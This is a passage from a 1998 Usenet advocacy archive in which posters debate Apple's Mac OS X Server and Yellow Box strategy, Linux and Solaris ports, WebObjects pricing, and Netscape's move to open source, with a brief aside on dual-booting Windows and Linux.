and IIRC just that was shown at WWDC `98, last May (on a 604e MP
machine). The reason it`s not dooooen yet is that they have other
features to add and Apple hasn`T got any SMP hardware for sale yet. Wait
until next year for that.1
> >
> > I say get off their butts and start writing a brand new OS or get an
> > exclusive license for the BeOS on PPC!
Yeah, right. What good would that do them? Having an immature OS without
any applications to actually let people use would do wonders for their
bottom line.
> >
> > This continuous patching and glueing of old software and newer software that
> > were never meant to work together has got to stop! Bloat Ware Sucks!
Well, I guess you know, since you`ve written all of this.
> >
> > ciao,
> > YC
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 05:56:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74qc66$7pg@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost> <74niq6$but@news1.panix.com> <FIiROLCWddLd-pn2-3BcsyxQ4PxDT@localhost>
On 10 Dec 98 13:34:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>Hmm, your initial response was "no"... anyway, I agree that YB's
>presence on those platforms would provide at least some opportunies to
>sell WebObjects licenses in the near term.
And that was my point.
> The question Apple faces is
>whether potential sales on those platforms justify the costs of
>porting and support by Apple.
Right now? No. And the costs would be less than or equal to the costs
of porting to Linux first.
> Especially as having WO customers
>running Linux would allow them to later migrate to PowerPC (by Apple)
>servers if they wish, with the underlying OS component remaining the
>same; then how far fetched is it to suggest Mac OS X?
WO lets them move from Solaris/WO to MacOSX/WO; why do they care what
the OS is? The P/P ratio is a hell of a lot more important.
> Also, wouldn't
>YB for Linux make those ports somewhat easier?
Isn't is a better use of resources to make small steps than giant leaps?
>And MacOSRumors.com suggested in the yesterday's feature called "Mac
>OS X Insights" that the whole Mac OS X would be running on SPARC
>system(s) somewhere in Cupertino basement. Hmm.
Do you think Apple customers who have been waiting a damn long time for
Apple to put out a modern OS would want Apple to spend time and energy
building OS products for Sun hardware if it were to delay the Mac version?
>> People don't switch server OS products at the drop of a hat (at least
>> in the enterprise market) And I very much doubt that Apple can tell
>> existing WO customers to switch to Linux any more than they can tell
>> them to switch to OSX.
>Perhaps Apple should survey their WO customers and find out?
Maybe.
>> If I could run YB on Linux on lower cost hardware than Apple provides,
>> why would I want to run anything on Apple hardware? I don't buy the
>Naturally Apple needs to keep trying to become more (cost) competitive
>compared to the PC market.
This doesn't answer the question.
>cheaper platform? But OTOH without presence on alternative platforms
>YB is much more likely to become a non-event, leaving you again with a
>Macintosh lacking in app support and therefore mass appeal.
No one is saying that Apple should not port YB. I am saying that it might
not be the best use of resources to port YB to Linux _now_
IMHO, a much more logic plan is:
1) Finish OSX on the g3 platform and YB on NT
2) Determine which is more cost effective:
a) Port YB to those platforms that currently run WO
b) Update OSX to run on x86
3) Determine which is more cost effective:
a) Do whatever part of 2 that was skipped
b) if 2a was chosen, take it to the next logical step and port YB
to other unix platforms. If 2b was chosen, move OSX to other
platforms that used to run OS/Mach (like Sun and HP hardware)
>> If anything, YB on Solaris and HP/UX would make a Linux port a lot
>Wouldn't it also work the other way around? With Linux being the base?
If you were an Apple customer running WO on Sun hardware (and not the
full YB), what would you think of Apple building YB on Linux? You might
feel the same way as owners of Macs that won't run OSX feel about Apple
selling an OS that runs on x86 machines and not their Macs.
>> more likely. If I were looking at a business plan for building a
>> YB for Solaris to sell to existing WO customers as well as expanding
>> that customer base; and a business plan for building a YB for Linux
>> to sell to a new customer base that may or may not care to pay for
>> it; and I had to pick _one_, would pick Solaris over Linux.
>Sounds reasonable, except I'm not certain whether Solaris would be
>able to expand the WO customer base. Linux, OTOH, is attracting _new_
>users at high rates, and lot of the growth happens in server space,
>esp. web servers. If there's no WebObjects to hook them, something
>else will.
How much of that growth is in the enterprise server market where they
don't blink at spending $50k on WO?
I don't doubt that linux is building marketshare in the enterprise
market, but as it stands now that market is the territory of big unix
servers. Just about every big shop I know uses NT on the desk and
Sun or HP hardware in the back. For now, Solaris is more important
to WO than Linux.
>> I doubt very much that either HP or Sun care about YB at the point. The
>> only way I can think of that HP or Sun might help Apple do a port is
>> if Apple gives them QuickTime in exchange.
>Huh? In that case I would forget about supporting these platforms and
>instead put an extra effort behind WO, QTML and YB on Linux and offer
>customers on those platforms attractive enough packages to help them
>emigrate to greener pastures. Running either Mac OS X or Linux.
If Apple went to existing WO on Sun/HP customers and said, "we don't
want to support HP and Sun hardware and software, please switch to
Linux" they would lose both credibility and customers.
>Linux could
>provide YB and Java with a neutral growing place while allowing other
>OSes too benefit thanks to either easy porting or inherent platform
>indepence of these technologies.
Any OS can provide YB a neutral growing place. If your big interest is
Java or YB as a platform independent development system, why do you care
what OS is running it? At that point, choice of OS is about as important
as the choice of video card or printer.
>I attribute Netscape's holding of ground and even regaining to going
>Open Source under NPL, esp. compared to where Netscape would be
>without the decision. Could you perhaps be thinking of the era when
>Netscape was practically the only game in town?
And how will this but money in Netscape's pockets?
I was not making any statement on OpenSource agreements building nice
products, my issue was in translating that to 1) money and 2) marketshare
the traditional benchmarks of success.
As it stands now, the NPL hasn't done 1 or 2.
>If someone opts for a cheaper (although slower) PC, or isn't ready to
>dump existing Intel hardware quite yet, they could still be part of
>the solution instead of problem by running YB. They'd also be an ideal
>target for commercial YB enhancements. If someone wants "near-Mac OS X
>-like" Yellow Box experience (there's much more to Mac OS X on
>PowerMac than YB though, as I argue above) on PC Apple should be
>willing to consider it a sale instead of declining it.
And why does this have to be on Linux? If a person wants to run YB on
an x86 Unix platform, isn't OSX just that?
>Thanks, btw, for your constructive criticism.
If anything, this is one of those rare threads on usenet where two
people disagree (and even strongly at times) but manage to stay civil.
>It'll be interesting to see what strategy
>Apple takes regarding Yellow Box on other platforms, and in what time
>frame.
Maybe there will be some announcements at Mac World in Jan 99...
Message-ID: <3670B38C.812ACA60@nstar.net>
Date: Thu, 10 Dec 1998 23:54:20 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
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Gregory Loren Hansen wrote:
[cut]
> If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
> faster because Apple is bigger than any single Unix vendor.
MacOS X could be a good Unix, but it probably won't. The FAQ stresses
that it is not, in Apple's opinion, a traditional Unix system. That's
not conclusive, but it certainly raises some disappointing
possibilities.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 11 Dec 1998 05:56:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74qc67$7pg@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet>
On Thu, 10 Dec 1998 01:27:48 -0800, jedi@dementia.mishnet
<jedi@dementia.mishnet> wrote:
>>>Sal Denaro <sal@panix.com> wrote:
>>>: Making NS opensource has not helped Netscape gain market share.
> With it being bundled with everything that Microsoft
> sells these days it's not quite so much rather or not
> Netscape gained or lost but how little or how much it
> lost when %95 of the market is a captive audience.
My point still holds, making NS opensource has not helped Netscape gain
market share.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 06:55:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74qfl9$8po@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com> <anarkhos-ya02408000R1012981730030001@news> <74pskv$dng$1@hole.sdsu.edu> <anarkhos-ya02408000R1012981921170001@news>
On Thu, 10 Dec 1998 19:21:17 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>> Which rather begs the question, "why in God's name did Apple ever license
>> their OS in the first place?"
> Like Jobs said, they shouldn't have. Apple trying to follow the PC model
>is suicide. The more they differentiate themselves from PCs the better.
That isn't what Jobs said. In both Wired and Fortune (*) he stated that
Apple's licensing of the OS was a good idea, but way to late for it to be
of any success. His opinion was that the window of opportunity was in ~1992
when people started to see the benefits of GUIs in business and Apple still
had a major lead in OS products. By the time Apple did it, it was too little
too late.
These statements were made well before Apple bought NeXT and Jobs was brought
back to Apple.
(*Somewhere between Oct95 and Feb96, IIRC)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 11 Dec 1998 06:55:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74qflc$8po@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU>
On 10 Dec 1998 18:02:57 GMT,
Larry Pyeatt <pyeatt@satchmo.cs.colostate.edu> wrote:
>> IE continued to gain marketshare as Netscape lost marketshare.
>Except on Linux, the only OS besides NT that is gaining marketshare.
>No one can compete against MS on Windows, but by enlisting the
>Open Source developers, Netscape has assured itself a growing market
>for its servers for the forseeable future.
NS was the #1 browser on Linux _before_ it was OpenSourced. Making it
OpenSource didn't bring new users to it; the fact that of the two major
browsers, it is the only on that runs on Linux did that.
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Cc: michael.peck@ericsson.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net>
<366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net>
<74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net>
<366F09C7.47209D76@ericsson.com>
Mime-Version: 1.0
Date: Thu, 10 Dec 1998 15:03:15 GMT
In <366F09C7.47209D76@ericsson.com> Michael Peck wrote:
> > So I simply reject any such suggestion that OpenSource breeds success.
> > It does not.
>
> Almost as stupid as the notion that Open Source is a panacea is the
> notion that Open Source cannot breed commercial success. As if you had
> the ability to unequivocally say "it does not". Whatever.
Sigh. Do you really expect me to argue points I don't support, ones you
make up to sound more argumentative.
I, obviously, never said anything remotely like "Open Source cannot breed
commercial success". You know this, everyone else knows this.
Maury
From: Michael <michael@tone.ca>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 11 Dec 1998 05:16:02 -0500
Organization: Styx DTP
Sender: monner@dial01p29.ottawa.storm.ca
Message-ID: <3670F0E0.AF5C5D26@tone.ca>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <74nkgv$f1p$19@blue.hex.net> <anarkhos-ya02408000R1012981625180001@news> <367068E7.33C9E208@ericsson.com> <anarkhos-ya02408000R1012981730030001@news>
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NNTP-Posting-Date: 11 Dec 1998 10:17:05 GMT
Just to make a factual clarification: Apple didn't buy Claris, Apple created
Claris as a home for their application software products. Claris never lost
money as far as I recall. The reason Claris was dismantled was that in the end
it was Filemaker that was producing the profitability and the other products
were using up resources. The money losing or break even or small profit
products were brought back to Apple to be killed or bundled, leaving Filemaker
in its own company, still profitable and still owned by Apple.
Not sure how this affects the argument though since everybody seems to be
exagerating the facts to prove their point.
Michael Monner
-----------
strobe wrote:
>
> Apple has always sold hardware since day 1, and software as a freebee to
> sell the hardware. When Apple bought Claris they lost money. MacOS sales do
> not cover development costs. Apple doesn't and never did make money selling
> MacOS licences, it only ate into their hardware sales. Apple lives and dies
> by its hardware sales, and wouldn't gain anything by porting YB to Linux
> given the current circumstances.
From: hghqpc@aol.com
Newsgroups: comp.sys.next.advocacy
Subject: FREE XXX PASSWORDS 6832
Date: 11 Dec 1998 11:43:20 GMT
Message-ID: <36710558.0@194.65.24.2>
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Date: Fri, 11 Dec 1998 06:46:07 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <joe.ragosta-1112980646160001@elk62.dol.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net>
In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Gregory Loren Hansen wrote:
>
> [cut]
>
> > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
> > faster because Apple is bigger than any single Unix vendor.
>
> MacOS X could be a good Unix, but it probably won't. The FAQ stresses
> that it is not, in Apple's opinion, a traditional Unix system. That's
> not conclusive, but it certainly raises some disappointing
> possibilities.
Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
AFAIK, Mac OS X will have full BSD Unix support.
My guess is that it will be optimized for ease of use. If you want balls
to the walls maximum performance, you're probably better off with a system
like Linux or a commercial Unix. But if you want a combination of good
performance, ease of use, and features, it should be a good alternative.
--
Regards,
Joe Ragosta
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Fri, 11 Dec 1998 04:45:48 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn7724vs.23m.jedi@dementia.mishnet>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com>
On 11 Dec 1998 05:56:23 GMT, Sal Denaro <sal@panix.com> wrote:
>On Thu, 10 Dec 1998 01:27:48 -0800, jedi@dementia.mishnet
> <jedi@dementia.mishnet> wrote:
>>>>Sal Denaro <sal@panix.com> wrote:
>>>>: Making NS opensource has not helped Netscape gain market share.
>> With it being bundled with everything that Microsoft
>> sells these days it's not quite so much rather or not
>> Netscape gained or lost but how little or how much it
>> lost when %95 of the market is a captive audience.
>
>My point still holds, making NS opensource has not helped Netscape gain
>market share.
However, your point doesn't address whether or not NS
achieved a net gain relative to what their previous
course of action would have yeilded.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Fri, 11 Dec 1998 04:48:14 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77254e.23m.jedi@dementia.mishnet>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com>
On 11 Dec 1998 06:55:40 GMT, Sal Denaro <sal@panix.com> wrote:
>On 10 Dec 1998 18:02:57 GMT,
> Larry Pyeatt <pyeatt@satchmo.cs.colostate.edu> wrote:
>>> IE continued to gain marketshare as Netscape lost marketshare.
>>Except on Linux, the only OS besides NT that is gaining marketshare.
>>No one can compete against MS on Windows, but by enlisting the
>>Open Source developers, Netscape has assured itself a growing market
>>for its servers for the forseeable future.
>
>NS was the #1 browser on Linux _before_ it was OpenSourced. Making it
>OpenSource didn't bring new users to it; the fact that of the two major
>browsers, it is the only on that runs on Linux did that.
OpenSourcing Mozilla primarily just allowed for more development
to be thrown at the project while not wasting too much more money
on a product that the predominant competitor could 'outbleed' them
on.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 11 Dec 98 12:37:41 GMT
Organization: P & L Systems
Message-ID: <36711215.0@stan.astra.co.uk>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
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<7477vl$kf5$6@msunews.cl.msu.edu>
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Cc: spammers@ruin.the.internet.channelu.com
In <7477vl$kf5$6@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> Not offering a OS X Server in a realistic price range w/o WO will
effectively
> kill OS X Server.
>
No it won't. It might do it some damage, but it won't *kill* it.
> I mean if WO4 is going to be $1.5K how much is it going
> to be with OS X?
>
$1.5K + X one would assume.
> Any way one cuts this if Apple doesn't have a two tiered
> approach to the first OS X release they'll stop most folks from even trying
it.
>
But remember, this isn't an OS for "most folks". Given Apple's changed
emphasis from the first Rhapsody strategy, and the promise of a transparent
BlueBox and Carbon within the next year, folks don't have to be so quick
about migrating.
> AND worse less folks to buy 3rd party YB apps. Can we hurt the YB ISV's
> anymore?
>
I'm sure they could.
> I suspet Apple really has no interest in the high or middle.
>
I suspect they do, else they'd have dropped WebObjects by now. There are
other indicators too, however I'm not at liberty to discuss these.
> The price for WO4 isn't a rumor. What we don't know is if Apple will
> foolishly force it into the OS X bundle & price it accordingly?
>
If you don't know, why speculate about it?
> My bet is because Apple has little interest in the server markets. I am
beginning
> to wonder if they will go completely Java in the near future with WO4.
> Someone who really knows the guts can comment on the possibility of this.
>
They won't go completely Java.
> I will predict one thing if Apple bundles WO4 with OS X and prices it at
1.5K
> or higher AND doesn't show OS X with SMP kernel and SMP boxes by
> at the worst MacWorld 99 that Server will effectively be dead.
>
I predict it won't be.
> What will happen to YB in that case is hard to say.
>
Have you looked at any of the relevant web pages recently? Apple has been
making it clear for a long time that Yellow is the API of the future.
> Tell me if Apple gives up the Server market what will they run WO4 on?
>
What does it run on at the moment? NT, HP-UX and Solaris. The majority of
big installations run on Solaris.
[wibble cut]
<sigh>
mmalc.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 1998 13:40:45 GMT
Organization: Indiana University, Bloomington
Message-ID: <74r7ct$q4h$1@flotsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
In article <joe.ragosta-1112980646160001@elk62.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
><mjpeck@nstar.net> wrote:
>
>> Gregory Loren Hansen wrote:
>>
>> [cut]
>>
>> > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>> > faster because Apple is bigger than any single Unix vendor.
>>
>> MacOS X could be a good Unix, but it probably won't. The FAQ stresses
>> that it is not, in Apple's opinion, a traditional Unix system. That's
>> not conclusive, but it certainly raises some disappointing
>> possibilities.
>
>Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
>
>AFAIK, Mac OS X will have full BSD Unix support.
>
>My guess is that it will be optimized for ease of use. If you want balls
>to the walls maximum performance, you're probably better off with a system
>like Linux or a commercial Unix. But if you want a combination of good
>performance, ease of use, and features, it should be a good alternative.
I think what we're looking for is the full set of shell utilities, at
least csh and ksh, the X Windowing System easily available, multiple
password-protected user accounts, and a directory structure that includes
things like /bin, /usr, /etc, etc.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 98 13:38:26 GMT
Organization: P & L Systems
Message-ID: <36712052.0@stan.astra.co.uk>
References: <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
<74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
<74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
<19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
<74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
<74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net>
<74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242>
<995C327DCEFD863F.A76458E6DE13A3BF.A2CD2B01816BA311@library-proxy.airnews.net>
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Cc: a1050pi@yahoo.com
In
<995C327DCEFD863F.A76458E6DE13A3BF.A2CD2B01816BA311@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> If [Apple] were to take the long term approach and focus on making OSX
> run on Intel stuff they might actually see some growth.
>
Umm, it already runs on Intel... it's been ported *from* Intel *to* PPC.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 11 Dec 98 14:03:11 GMT
Organization: P & L Systems
Message-ID: <3671261f.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
<74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
<74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
<19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
<74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
<74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news>
<366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news>
<74nj09$bfn$1@news.digifix.com> <anarkhos-ya02408000R1012981706040001@news>
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Cc: anarkhos@anarchism.orgy
In <anarkhos-ya02408000R1012981706040001@news> strobe wrote:
> Just to CLARIFY Adobe is not the only body that owns technology in YB.
> There is also UNISYS and PANTONE.
>
a) I believe the GIF license is covered by a general licensing agreement.
b) PANTONE is not in YB.
mmalc.
From: agave_@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: IB, PB included with WO??
Date: Fri, 11 Dec 1998 15:21:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74rdaa$n9d$1@nnrp1.dejanews.com>
References: <74osl2$13f@sol.sun.csd.unb.ca>
In article <74osl2$13f@sol.sun.csd.unb.ca>,
"Yan Laporte" <ylaporte@acm.org> wrote:
> Hi,
>
> I would like to know if the tools needed for YB development are included
> with the current WebObject 4 package for NT??
>
Yes... YellowBox CR1 (acording to the release notes) is included with
WebObjects 4.0. InterfaceBuilder is even used to build java swing interfaces
(although not particularly well).
> In short is it possible to build apps that do not use WebObject with the
> currently sold WebObject 4 package?
>
Sure, but the license probably (I haven't read it) prevents you from
doing anything useful with them.
-Ian
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Stuart Brady <stuart@nospam_see-www-address_.demon.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Fri, 11 Dec 1998 16:05:32 +0000
Distribution: world
Message-ID: <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk>
References: <3669CB9E.MD-0.198.tb7@inquo.net>
MIME-Version: 1.0
>Joe: I installed RedHat 5 on a PC a while back and it really wasn't
>much more difficult to install than Windows.
That's wrong. This is why:
If you've got Windows 95 and you install Linux, it's easy, cos LILO lets
you do dual boot. You have a slight chance of screwing up partitions.
If you've got Linux, and you install Windows 95, Windows will overwrite
LILO (or so I've heard). There are ways to get round this, but it means
reinstalling LILO (you need to make a linux boot disk first), booting
Linux from DOS mode (you could add a boot menu to config.sys), or using
a boot disk all of the time. Win 95 fdisk is horrible, as it will only
create DOS partitions, and is harder to use than Linux's.
It's best to install Windows first, *then* linux, because of this.
You can't 'upgrade' to Windows 98, because it's setup program doesn't
work properly, (well, that was the last I heard, and it doesn't seem
that Microsoft have done anything about it,) so simply don't bother.
Windows 98 is buggy, anyway. (Linux just has undocumented features.)
--
Stuart Brady
------------
Manic Miner website: http://www.wholehog.demon.co.uk/stu/
email: stuart@nospam_wholehog_.demon.co.uk
get rid of the nospam and the underscores
Message-ID: <3670D91D.A02D0BE7@nstar.net>
Date: Fri, 11 Dec 1998 02:34:37 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
